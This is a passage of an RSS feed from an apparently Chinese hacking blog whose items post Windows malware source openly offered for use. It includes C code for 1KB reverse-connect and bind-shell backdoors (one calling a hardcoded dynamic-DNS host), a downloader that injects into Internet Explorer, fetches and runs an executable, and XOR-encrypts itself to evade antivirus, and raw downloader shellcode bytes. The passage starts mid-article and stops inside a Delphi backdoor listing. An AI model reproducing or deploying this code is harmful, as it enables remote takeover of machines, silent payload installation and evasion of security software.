&#34;\xFF\xD0&#34;;<br/><br/>　　int main()<br/><br/>　　{<br/><br/>　　( (void(*)(void)) &amp;shellcode )()<br/><br/>　　return 0;<br/><br/>　　}<br/><br/>　　</span>&nbsp;&nbsp;&nbsp;&nbsp;( (void(*)(void)) &amp;shellcode )()这句话是关键，它把ShellCode转换成一个参数为空，返回为空的函数指针，并调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确，就会完成我们想要的功能，出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成！<br/><br/>　　<strong>小结<br/><br/>　　</strong><br/><br/>　　这个ShellCode的功能还比较单薄，而且通用性也待进一步研究，但的确是一个由我们亲自打造出来的ShellCode，而且现实中的ShellCode也是这样写出来的。只要我们掌握了基本的方法，以后就可以在广阔的空间中自由翱翔！<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8696</link>
			<title><![CDATA[1k正反向连接,零管道后门 ]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[VC++]]></category>
			<pubDate>Sat,10 Nov 2007 01:47:06 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8696</guid>	
		<description><![CDATA[作者：Anskya<br/> <br/>1k(程序体积1kb) 反向连接,零管道后门<br/><br/>写ShellCode的时候写的~C版本代码~~没用就丢出来了~<br/><br/><br/>CODE:<br/><br/>/*<br/>&nbsp;&nbsp;1k(程序体积1kb) 反向连接,零管道后门 By Anskya<br/><br/>说明:<br/>&nbsp;&nbsp;不用我多说了吧..黑客一般都会使用的后门程序..<br/>&nbsp;&nbsp;这里只是简单的演示一下..没有添加进程隐藏功能<br/>&nbsp;&nbsp;程序可以在Win9x,Win2k,WinXP,Win2k3上使用<br/>&nbsp;&nbsp;程序体积只有1k(FSG压缩一下会更小)<br/><br/>测试:<br/>&nbsp;&nbsp;本地开启NetCat等工具,监听80端口,会返回一个Shell<br/>*/<br/>#pragma comment(linker,&#34;/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint&#34;)<br/>#pragma comment(linker,&#34;/INCREMENTAL:NO /IGNORE:4078&#34;)<br/>#pragma comment(linker,&#34;/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR&#34;) <br/>#pragma comment(lib, &#34;ws2_32.lib&#34;)<br/><br/>#include &lt;winsock2.h&gt;<br/>#include &lt;windows.h&gt;<br/><br/>#define MasterAddr &#34;DNA32r.3322.org&#34;&nbsp;&nbsp; //连接地址 <br/>#define MasterPort 80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //连接端口<br/><br/>void Entrypoint()<br/>{<br/>&nbsp;&nbsp;WSADATA WSADa;<br/>&nbsp;&nbsp;LPHOSTENT HostEnts;<br/>&nbsp;&nbsp;sockaddr_in SockAddrIn;<br/>&nbsp;&nbsp;SOCKET FSocket;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;PROCESS_INFORMATION ProcessInfo;<br/>&nbsp;&nbsp;STARTUPINFO StartupInfo;<br/><br/>&nbsp;&nbsp;char szCMDPath[255];<br/>//-------------------<br/>&nbsp;&nbsp;ZeroMemory(&amp;ProcessInfo, sizeof(PROCESS_INFORMATION));<br/>&nbsp;&nbsp;ZeroMemory(&amp;StartupInfo, sizeof(STARTUPINFO));<br/>&nbsp;&nbsp;ZeroMemory(&amp;WSADa, sizeof(WSADATA));<br/>//----初始化数据----<br/>&nbsp;&nbsp;GetEnvironmentVariable(&#34;COMSPEC&#34;,szCMDPath,sizeof(szCMDPath));<br/>&nbsp;&nbsp;//获取cmd路径<br/>&nbsp;&nbsp;WSAStartup(0x0202,&amp;WSADa);<br/>&nbsp;&nbsp;//加载ws2_32.dll<br/>&nbsp;&nbsp;HostEnts=gethostbyname(MasterAddr);<br/>&nbsp;&nbsp;SockAddrIn.sin_family = AF_INET;<br/>&nbsp;&nbsp;SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts-&gt;h_addr_list);<br/>&nbsp;&nbsp;SockAddrIn.sin_port = htons(MasterPort);<br/>&nbsp;&nbsp;FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);<br/>&nbsp;&nbsp;//获取远程地址和端口～绑定协议<br/>&nbsp;&nbsp;connect(FSocket, (LPSOCKADDR)&amp;SockAddrIn,sizeof(SockAddrIn));<br/>&nbsp;&nbsp;//开始连接远程服务器<br/>&nbsp;&nbsp;StartupInfo.cb = sizeof(STARTUPINFO);<br/>&nbsp;&nbsp;StartupInfo.wShowWindow = SW_HIDE;<br/>&nbsp;&nbsp;StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;<br/>&nbsp;&nbsp;StartupInfo.hStdInput = (HANDLE)FSocket;<br/>&nbsp;&nbsp;StartupInfo.hStdOutput = (HANDLE)FSocket;<br/>&nbsp;&nbsp;StartupInfo.hStdError = (HANDLE)FSocket;<br/>&nbsp;&nbsp;//创建匿名管道<br/>&nbsp;&nbsp;Cr&#101;ateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &amp;StartupInfo, &amp;ProcessInfo);<br/>&nbsp;&nbsp;WaitForSingleObject(ProcessInfo.hProcess, INFINITE);<br/>&nbsp;&nbsp;CloseHandle(ProcessInfo.hProcess);<br/>&nbsp;&nbsp;CloseHandle(ProcessInfo.hThread);<br/>&nbsp;&nbsp;//关闭进程句柄<br/>&nbsp;&nbsp;closesocket(FSocket);<br/>&nbsp;&nbsp;WSACleanup();<br/>&nbsp;&nbsp;//关闭连接卸载ws2_32.dll<br/>}<br/> <br/>1k(程序体积1kb)正向连接,零管道后门 [VC代码]<br/><br/>VC好爽~(编译器和连接器都很爽~~)如果~~编译速度再快点就更好了~<br/>感慨....最爽的还是~VC的调试器和反汇编器~~呵呵<br/><br/>CODE:<br/><br/>/*<br/>&nbsp;&nbsp;1k(程序体积1kb)正向连接,零管道后门 By Anskya<br/><br/>说明:<br/>&nbsp;&nbsp;不用我多说了吧..黑客一般都会使用的后门程序..<br/>&nbsp;&nbsp;这里只是简单的演示一下..没有添加进程隐藏功能<br/>&nbsp;&nbsp;程序可以在Win9x,Win2k,WinXP,Win2k3上使用<br/>&nbsp;&nbsp;程序体积只有1k(FSG压缩一下会更小)<br/><br/>测试:<br/>&nbsp;&nbsp;本地开启NetCat等工具,连接远程计算机80端口,会得到一个Shell<br/>*/<br/>#pragma comment(linker,&#34;/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint&#34;)<br/>#pragma comment(linker,&#34;/INCREMENTAL:NO /IGNORE:4078&#34;)<br/>#pragma comment(linker,&#34;/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR&#34;) <br/>#pragma comment(lib, &#34;ws2_32.lib&#34;)<br/><br/>#include &lt;winsock2.h&gt;<br/>#include &lt;windows.h&gt;<br/><br/>#define MasterPort 80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //连接端口<br/><br/>void Entrypoint()<br/>{<br/>&nbsp;&nbsp;WSADATA WSADa;<br/>&nbsp;&nbsp;sockaddr_in SockAddrIn;<br/>&nbsp;&nbsp;SOCKET CSocket,SSocket;<br/>&nbsp;&nbsp;int iAddrSize;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;PROCESS_INFORMATION ProcessInfo;<br/>&nbsp;&nbsp;STARTUPINFO StartupInfo;<br/><br/>&nbsp;&nbsp;char szCMDPath[255];<br/>//-------------------<br/>&nbsp;&nbsp;ZeroMemory(&amp;ProcessInfo, sizeof(PROCESS_INFORMATION));<br/>&nbsp;&nbsp;ZeroMemory(&amp;StartupInfo, sizeof(STARTUPINFO));<br/>&nbsp;&nbsp;ZeroMemory(&amp;WSADa, sizeof(WSADATA));<br/>//----初始化数据----<br/>&nbsp;&nbsp;//获取cmd路径<br/>&nbsp;&nbsp;GetEnvironmentVariable(&#34;COMSPEC&#34;,szCMDPath,sizeof(szCMDPath));<br/>&nbsp;&nbsp;//加载ws2_32.dll<br/>&nbsp;&nbsp;WSAStartup(0x0202,&amp;WSADa);<br/><br/>&nbsp;&nbsp;//设置本地信息和绑定协议<br/>&nbsp;&nbsp;SockAddrIn.sin_family = AF_INET;<br/>&nbsp;&nbsp;SockAddrIn.sin_addr.s_addr = INADDR_ANY;<br/>&nbsp;&nbsp;SockAddrIn.sin_port = htons(MasterPort);<br/>&nbsp;&nbsp;CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;//绑定端口<br/>&nbsp;&nbsp;bind(CSocket,(sockaddr *)&amp;SockAddrIn,sizeof(SockAddrIn));<br/>&nbsp;&nbsp;listen(CSocket,1);<br/>&nbsp;&nbsp;iAddrSize = sizeof(SockAddrIn);<br/>&nbsp;&nbsp;SSocket = accept(CSocket,(sockaddr *)&amp;SockAddrIn,&amp;iAddrSize);<br/>&nbsp;&nbsp;//开始连接远程服务器<br/>&nbsp;&nbsp;StartupInfo.cb = sizeof(STARTUPINFO);<br/>&nbsp;&nbsp;StartupInfo.wShowWindow = SW_HIDE;<br/>&nbsp;&nbsp;StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;<br/>&nbsp;&nbsp;StartupInfo.hStdInput = (HANDLE)SSocket;<br/>&nbsp;&nbsp;StartupInfo.hStdOutput = (HANDLE)SSocket;<br/>&nbsp;&nbsp;StartupInfo.hStdError = (HANDLE)SSocket;<br/>&nbsp;&nbsp;//创建匿名管道<br/>&nbsp;&nbsp;Cr&#101;ateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &amp;StartupInfo, &amp;ProcessInfo);<br/>&nbsp;&nbsp;WaitForSingleObject(ProcessInfo.hProcess, INFINITE);<br/>&nbsp;&nbsp;CloseHandle(ProcessInfo.hProcess);<br/>&nbsp;&nbsp;CloseHandle(ProcessInfo.hThread);<br/>&nbsp;&nbsp;//关闭进程句柄<br/>&nbsp;&nbsp;closesocket(CSocket);<br/>&nbsp;&nbsp;closesocket(SSocket);<br/>&nbsp;&nbsp;WSACleanup();<br/>&nbsp;&nbsp;//关闭连接卸载ws2_32.dll<br/>}<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8695</link>
			<title><![CDATA[无Dll插入进程，下载者VC源代码]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[VC++]]></category>
			<pubDate>Sat,10 Nov 2007 01:43:15 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8695</guid>	
		<description><![CDATA[增加代码xor解密功能,以逃过杀毒软件.<br/><br/>生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.<br/><br/>参考delphi版本的下载者源代码，编出来有16K左右。压缩也有10K多，<br/>于是写了VC的代码。按以下的设置，编译出来2K左右。<br/>还可以可以再设置一下编译开关，以减小体积。<br/><br/>Ps:原代码中4处没有对\转义,以下代码编译通过;<br/>编译出来16K,去掉4行注释,编译后3K(编译环境:Win2003+VC6.0) <br/>/* <br/>&#34;mini_downloader&#34; <br/>code by kardinal p.s.t <br/>compile by vc++ 6.0 <br/>can not run under win98; <br/>*/ <br/>#include &lt;windows.h&gt; <br/><br/>#pragma comment(lib,&#34;user32.lib&#34;) <br/>#pragma comment(lib,&#34;kernel32.lib&#34;) <br/><br/>//#pragma comment(linker, &#34;/OPT:NOWIN98&#34;) //取消这4行的注释，可编译出2K大的文件 <br/>//#pragma comment(linker, &#34;/merge:.data=.text&#34;) <br/>//#pragma comment(linker, &#34;/merge:.rdata=.text&#34;) <br/>//#pragma comment(linker, &#34;/align:0x200&#34;) <br/>#pragma comment(linker, &#34;/ENTRY:decrpt&#34;) <br/>#pragma comment(linker, &#34;/subsystem:windows&#34;) <br/>#pragma comment(linker, &#34;/BASE:0x13150000&#34;) <br/><br/>HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数 <br/>DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数 <br/>HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行 <br/>HANDLE processhandle; <br/>DWORD pid; <br/>HINSTANCE hshell,hurlmon,hkernel; <br/><br/>void download() //注入使用的下载函数 <br/>{ <br/> hshell=LoadLibrary(&#34;Shell32.dll&#34;); <br/> hurlmon=LoadLibrary(&#34;urlmon.dll&#34;); <br/> <br/> (FARPROC&amp;)SHELLRUN=GetProcAddress(hshell,&#34;ShellExecuteA&#34;); <br/> (FARPROC&amp;)DOWNFILE= GetProcAddress(hurlmon,&#34;URLDownloadToFileA&#34;); <br/> <br/> DOWNFILE(NULL,&#34;<a href="http://www.testtest.ac.cn/eeeeeeeeeeeeee" target="_blank">http://www.testtest.ac.cn/eeeeeeeeeeeeee</a> ... eeeeen/notepad.exe&#34;,&#34;c:\\ieinst12.exe&#34;,0, NULL); <br/> SHELLRUN(0,&#34;open&#34;,&#34;c:\\ieinst12.exe&#34;,NULL,NULL,5); <br/> ExitProcess(0); <br/>}; <br/><br/>void main() //主函数 <br/>{ <br/> //1.得到IE路径,并运行 <br/> char iename[MAX_PATH],iepath[MAX_PATH]; <br/> ZeroMemory(iename,sizeof(iename)); <br/> ZeroMemory(iepath,sizeof(iepath)); <br/> <br/> GetWindowsDirectory(iepath,MAX_PATH); <br/> strncpy(iename,iepath,3); <br/> strcat(iename,&#34;program files\\Internet Explorer\\IEXPLORE.EXE&#34;); <br/> WinExec(iename,SW_HIDE); <br/> Sleep(500); <br/> <br/> //2.得到 IE process handle <br/> HWND htemp; <br/> htemp=FindWindow(&#34;IEFrame&#34;,NULL); <br/> GetWindowThreadProcessId(htemp,&amp;pid); <br/> processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); <br/> <br/> //3.分配内存 <br/> HMODULE Module; <br/> LPVOID NewModule; <br/> DWORD Size; <br/> LPDWORD lpimagesize; <br/> <br/> Module = GetModuleHandle(NULL);//进程映像的基址 <br/> //得到内存镜像大小 <br/> _asm <br/> { <br/> push eax; <br/> push ebx; <br/> mov ebx,Module; <br/> mov eax,[ebx+0x3c]; <br/> lea eax,[ebx+eax+0x50]; <br/> mov eax,[eax] <br/> mov lpimagesize,eax; <br/> pop ebx; <br/> pop eax; <br/> }; <br/> Size=(DWORD)lpimagesize; <br/> NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置 <br/> <br/> //4.写内存，创建线程 <br/> WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据 <br/> LPTHREAD_START_ROUTINE entrypoint; <br/> __asm <br/> { <br/> push eax; <br/> lea eax,download; <br/> mov entrypoint,eax; <br/> pop eax <br/> } <br/> hkernel=LoadLibrary(&#34;KERNEL32.dll&#34;); <br/> (FARPROC&amp;)MYINJECT= GetProcAddress(hkernel,&#34;Cr&#101;ateRemoteThread&#34;); <br/> MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行 <br/> <br/> //5.关闭对象 <br/> CloseHandle(processhandle); <br/> <br/> return; <br/>} ; <br/><br/>//解密函数 <br/>void decrpt() <br/>{ <br/> <br/> HANDLE myps; <br/> DWORD oldAttr; <br/> BYTE shellcode[500]; <br/> ZeroMemory(shellcode,sizeof(shellcode)); <br/> myps=GetCurrentProcess(); <br/> ::VirtualProtectEx(myps,&amp;download,0x1000,PAGE_EXECUTE_READWRITE,&amp;oldAttr); <br/> //先把原代码,搬移到变量中保存起来 <br/> _asm <br/> { <br/> pushad; <br/> lea esi,download <br/> lea edi,shellcode; <br/> lea ecx,decrpt; <br/> sub ecx,esi; <br/>en1: <br/> lodsb; <br/> stosb; <br/> dec ecx; <br/> jne en1; <br/> popad; <br/> <br/> }; <br/> <br/> //解密搬回 <br/> int i; <br/> for (i=1;i&lt;=0xFF;i++) <br/> { <br/> _asm <br/> { <br/> pushad; <br/> lea esi,shellcode; <br/> lea edi,download; <br/> lea ecx,decrpt; <br/> sub ecx,edi; <br/>en2: <br/> lodsb; <br/> mov ebx,i; <br/> xor al,bl; <br/> stosb; <br/> dec ecx; <br/> jne en2; <br/> popad; <br/> <br/> }; <br/> <br/> //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. <br/> __try <br/> { <br/> main(); <br/> return; <br/> } <br/> __except(EXCEPTION_EXECUTE_HANDLER) <br/> <br/> { <br/> <br/> }; <br/> <br/> <br/> } <br/> return; <br/>};]]></description>
		</item>
		
			<item>
			<link>http://www.taiwanren.com/default.asp?id=8694</link>
			<title><![CDATA[通用ShellCode大全]]></title>
			<author>wuhan2001@hotmail.com(夜星海)</author>
			<category><![CDATA[VC++]]></category>
			<pubDate>Sat,10 Nov 2007 01:39:26 +0800</pubDate>
			<guid>http://www.taiwanren.com/default.asp?id=8694</guid>	
		<description><![CDATA[Anskya:<br/> <br/>Downloader 411字节<br/><br/>可以运行在WIndows ALL<br/>1.代码自定位<br/>2.获取k32基址<br/>3.动态搜索API<br/>4.平衡堆践<br/><br/>PS:都是Virus 编程技术...<br/><br/>CODE:<br/><br/>unsigned char ShellCode[] =<br/>{<br/>&nbsp;&nbsp; 0xE8,0x00,0x00,0x00,0x00,0x5F,0x81,0xEF,<br/>&nbsp;&nbsp; 0x1E,0x10,0x40,0x00,0x8D,0x87,0xAD,0x10,<br/>&nbsp;&nbsp; 0x40,0x00,0x50,0xE8,0x9B,0x00,0x00,0x00,<br/>&nbsp;&nbsp; 0x8D,0x87,0xBD,0x10,0x40,0x00,0x50,0xE8,<br/>&nbsp;&nbsp; 0x8F,0x00,0x00,0x00,0x33,0xC0,0x6A,0x00,<br/>&nbsp;&nbsp; 0x6A,0x00,0x8D,0x9F,0x98,0x10,0x40,0x00,<br/>&nbsp;&nbsp; 0x53,0x8D,0x9F,0x79,0x10,0x40,0x00,0x53,<br/>&nbsp;&nbsp; 0x6A,0x00,0xFF,0x97,0xC4,0x10,0x40,0x00,<br/>&nbsp;&nbsp; 0x6A,0x05,0x6A,0x00,0x6A,0x00,0x8D,0x9F,<br/>&nbsp;&nbsp; 0x98,0x10,0x40,0x00,0x53,0x8D,0x9F,0xA8,<br/>&nbsp;&nbsp; 0x10,0x40,0x00,0x53,0x6A,0x00,0xFF,0x97,<br/>&nbsp;&nbsp; 0xB5,0x10,0x40,0x00,0xC9,0xC2,0x08,0x00,<br/>&nbsp;&nbsp; 0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x57,<br/>&nbsp;&nbsp; 0x77,0x77,0x2E,0x41,0x6E,0x73,0x6B,0x79,<br/>&nbsp;&nbsp; 0x61,0x2E,0x4E,0x65,0x74,0x2F,0x54,0x65,<br/>&nbsp;&nbsp; 0x73,0x74,0x2E,0x65,0x78,0x65,0x00,0x43,<br/>&nbsp;&nbsp; 0x3A,0x5C,0x64,0x6F,0x77,0x6E,0x6C,0x6F,<br/>&nbsp;&nbsp; 0x61,0x64,0x2E,0x65,0x78,0x65,0x00,0x4F,<br/>&nbsp;&nbsp; 0x70,0x65,0x6E,0x00,0x73,0x68,0x65,0x6C,<br/>&nbsp;&nbsp; 0x6C,0x33,0x32,0x00,0x8B,0x98,0x8A,0x31,<br/>&nbsp;&nbsp; 0x00,0x00,0x00,0x00,0x75,0x72,0x6C,0x6D,<br/>&nbsp;&nbsp; 0x6F,0x6E,0x00,0x19,0xD4,0xC3,0x92,0x00,<br/>&nbsp;&nbsp; 0x00,0x00,0x00,0x60,0x8B,0x74,0x24,0x24,<br/>&nbsp;&nbsp; 0xE8,0x97,0x00,0x00,0x00,0x68,0xAD,0xD1,<br/>&nbsp;&nbsp; 0x34,0x41,0x50,0xE8,0x1F,0x00,0x00,0x00,<br/>&nbsp;&nbsp; 0x56,0xFF,0xD0,0x8B,0xD8,0x2B,0xC0,0xAC,<br/>&nbsp;&nbsp; 0x84,0xC0,0x75,0xFB,0x8B,0xFE,0xAD,0x85,<br/>&nbsp;&nbsp; 0xC0,0x74,0x0A,0x50,0x53,0xE8,0x05,0x00,<br/>&nbsp;&nbsp; 0x00,0x00,0xAB,0xEB,0xF1,0x61,0xC3,0x60,<br/>&nbsp;&nbsp; 0x8B,0x5C,0x24,0x24,0x8B,0x74,0x24,0x28,<br/>&nbsp;&nbsp; 0x2B,0xED,0x8B,0xD3,0x03,0x52,0x3C,0x8B,<br/>&nbsp;&nbsp; 0x52,0x78,0x03,0xD3,0x8B,0x42,0x18,0x8B,<br/>&nbsp;&nbsp; 0x7A,0x1C,0x03,0xFB,0x8B,0x7A,0x20,0x03,<br/>&nbsp;&nbsp; 0xFB,0x52,0x8B,0xD7,0x8B,0x17,0x03,0xD3,<br/>&nbsp;&nbsp; 0x45,0x60,0x8B,0xF2,0x2B,0xC9,0xAC,0x41,<br/>&nbsp;&nbsp; 0x84,0xC0,0x75,0xFA,0x89,0x4C,0x24,0x18,<br/>&nbsp;&nbsp; 0x61,0x60,0x2B,0xC0,0xE8,0x51,0x00,0x00,<br/>&nbsp;&nbsp; 0x00,0x3B,0xC6,0x61,0x74,0x08,0x83,0xC7,<br/>&nbsp;&nbsp; 0x04,0x48,0x74,0x18,0xEB,0xD6,0x5A,0x4D,<br/>&nbsp;&nbsp; 0x8B,0x4A,0x24,0x03,0xCB,0x0F,0xB7,0x04,<br/>&nbsp;&nbsp; 0x69,0x8B,0x6A,0x1C,0x03,0xEB,0x8B,0x44,<br/>&nbsp;&nbsp; 0x85,0x00,0x03,0xC3,0x89,0x44,0x24,0x1C,<br/>&nbsp;&nbsp; 0x61,0xC2,0x08,0x00,0x60,0x2B,0xC0,0x64,<br/>&nbsp;&nbsp; 0x8B,0x40,0x30,0x85,0xC0,0x78,0x0C,0x8B,<br/>&nbsp;&nbsp; 0x40,0x0C,0x8B,0x70,0x1C,0xAD,0x8B,0x40,<br/>&nbsp;&nbsp; 0x08,0xEB,0x09,0x8B,0x40,0x34,0x8D,0x40,<br/>&nbsp;&nbsp; 0x7C,0x8B,0x40,0x3C,0x89,0x44,0x24,0x1C,<br/>&nbsp;&nbsp; 0x61,0xC3,0x60,0xE3,0x18,0xF7,0xD0,0x32,<br/>&nbsp;&nbsp; 0x02,0x42,0xB3,0x08,0xD1,0xE8,0x73,0x05,<br/>&nbsp;&nbsp; 0x35,0x20,0x83,0xB8,0xED,0xFE,0xCB,0x75,<br/>&nbsp;&nbsp; 0xF3,0xE2,0xEC,0xF7,0xD0,0x89,0x44,0x24,<br/>&nbsp;&nbsp; 0x1C,0x61,0xC3<br/>};<br/> <br/> <br/>一个MessageBox窗口[演示]<br/><br/><br/>CODE:<br/><br/>unsigned char ShellCode[] =<br/>{<br/>&nbsp;&nbsp;0xE8,0x00,0x00,0x00,0x00,0x5F,0x81,0xEF,<br/>&nbsp;&nbsp;0x1E,0x10,0x40,0x00,0x8D,0x87,0x83,0x10,<br/>&nbsp;&nbsp;0x40,0x00,0x50,0xE8,0x61,0x00,0x00,0x00,<br/>&nbsp;&nbsp;0x33,0xC0,0x6A,0x00,0x8D,0x87,0x72,0x10,<br/>&nbsp;&nbsp;0x40,0x00,0x50,0x8D,0x87,0x4D,0x10,0x40,<br/>&nbsp;&nbsp;0x00,0x50,0x6A,0x00,0xFF,0x97,0x8A,0x10,<br/>&nbsp;&nbsp;0x40,0x00,0x58,0xC3,0x5B,0x2A,0x5D,0x20,<br/>&nbsp;&nbsp;0x48,0x65,0x6C,0x6C,0x6F,0x20,0x57,0x6F,<br/>&nbsp;&nbsp;0x72,0x6C,0x64,0x20,0x43,0x6F,0x64,0x65,<br/>&nbsp;&nbsp;0x72,0x21,0x20,0x28,0x43,0x29,0x20,0x41,<br/>&nbsp;&nbsp;0x6E,0x73,0x6B,0x79,0x61,0x2E,0x0D,0x0A,<br/>&nbsp;&nbsp;0x00,0x4D,0x73,0x67,0x42,0x6F,0x78,0x20,<br/>&nbsp;&nbsp;0x42,0x79,0x20,0x41,0x6E,0x73,0x6B,0x79,<br/>&nbsp;&nbsp;0x61,0x00,0x75,0x73,0x65,0x72,0x33,0x32,<br/>&nbsp;&nbsp;0x00,0xF7,0x6C,0x55,0xD8,0x00,0x00,0x00,<br/>&nbsp;&nbsp;0x00,0x60,0x8B,0x74,0x24,0x24,0xE8,0x97,<br/>&nbsp;&nbsp;0x00,0x00,0x00,0x68,0xAD,0xD1,0x34,0x41,<br/>&nbsp;&nbsp;0x50,0xE8,0x1F,0x00,0x00,0x00,0x56,0xFF,<br/>&nbsp;&nbsp;0xD0,0x8B,0xD8,0x2B,0xC0,0xAC,0x84,0xC0,<br/>&nbsp;&nbsp;0x75,0xFB,0x8B,0xFE,0xAD,0x85,0xC0,0x74,<br/>&nbsp;&nbsp;0x0A,0x50,0x53,0xE8,0x05,0x00,0x00,0x00,<br/>&nbsp;&nbsp;0xAB,0xEB,0xF1,0x61,0xC3,0x60,0x8B,0x5C,<br/>&nbsp;&nbsp;0x24,0x24,0x8B,0x74,0x24,0x28,0x2B,0xED,<br/>&nbsp;&nbsp;0x8B,0xD3,0x03,0x52,0x3C,0x8B,0x52,0x78,<br/>&nbsp;&nbsp;0x03,0xD3,0x8B,0x42,0x18,0x8B,0x7A,0x1C,<br/>&nbsp;&nbsp;0x03,0xFB,0x8B,0x7A,0x20,0x03,0xFB,0x52,<br/>&nbsp;&nbsp;0x8B,0xD7,0x8B,0x17,0x03,0xD3,0x45,0x60,<br/>&nbsp;&nbsp;0x8B,0xF2,0x2B,0xC9,0xAC,0x41,0x84,0xC0,<br/>&nbsp;&nbsp;0x75,0xFA,0x89,0x4C,0x24,0x18,0x61,0x60,<br/>&nbsp;&nbsp;0x2B,0xC0,0xE8,0x51,0x00,0x00,0x00,0x3B,<br/>&nbsp;&nbsp;0xC6,0x61,0x74,0x08,0x83,0xC7,0x04,0x48,<br/>&nbsp;&nbsp;0x74,0x18,0xEB,0xD6,0x5A,0x4D,0x8B,0x4A,<br/>&nbsp;&nbsp;0x24,0x03,0xCB,0x0F,0xB7,0x04,0x69,0x8B,<br/>&nbsp;&nbsp;0x6A,0x1C,0x03,0xEB,0x8B,0x44,0x85,0x00,<br/>&nbsp;&nbsp;0x03,0xC3,0x89,0x44,0x24,0x1C,0x61,0xC2,<br/>&nbsp;&nbsp;0x08,0x00,0x60,0x2B,0xC0,0x64,0x8B,0x40,<br/>&nbsp;&nbsp;0x30,0x85,0xC0,0x78,0x0C,0x8B,0x40,0x0C,<br/>&nbsp;&nbsp;0x8B,0x70,0x1C,0xAD,0x8B,0x40,0x08,0xEB,<br/>&nbsp;&nbsp;0x09,0x8B,0x40,0x34,0x8D,0x40,0x7C,0x8B,<br/>&nbsp;&nbsp;0x40,0x3C,0x89,0x44,0x24,0x1C,0x61,0xC3,<br/>&nbsp;&nbsp;0x60,0xE3,0x18,0xF7,0xD0,0x32,0x02,0x42,<br/>&nbsp;&nbsp;0xB3,0x08,0xD1,0xE8,0x73,0x05,0x35,0x20,<br/>&nbsp;&nbsp;0x83,0xB8,0xED,0xFE,0xCB,0x75,0xF3,0xE2,<br/>&nbsp;&nbsp;0xEC,0xF7,0xD0,0x89,0x44,0x24,0x1C,0x61,<br/>&nbsp;&nbsp;0xC3<br/>};<br/><br/>[Copy to clipboard]<br/><br/><br/>一个MessageBox...<br/>1.代码自定位<br/>2.获取K32基址<br/>3.动态搜索需要使用的API<br/>4.平衡堆践<br/> <br/>本地溢出通用反向连接ShellCode 后门程序 1k[Delphi版本]<br/><br/>CODE:&nbsp;&nbsp;[Copy to clipboard]<br/>--------------------------------------------------------------------------------<br/>{<br/>&nbsp;&nbsp;SinDoor One By Anskya<br/>&nbsp;&nbsp;Email:Anskya@Gmail.com<br/>&nbsp;&nbsp;Web:Www.Anskya.Net<br/>&nbsp;&nbsp;QQ:115447<br/>&nbsp;&nbsp;说明:打开NC监听本地8848端口～运行程序返回一个Shell<br/>&nbsp;&nbsp;本程序ShellCode:是通用ShellCode..内部镶有API搜索引擎<br/>&nbsp;&nbsp;和数据代码融合(很简单的技术。。病毒和ShellCode都用得到)<br/>&nbsp;&nbsp;有兴趣大家自己用Debug跟一下我就不对说了...<br/>&nbsp;&nbsp;感谢zhengxi&#39;s Crc32函数,Vecna 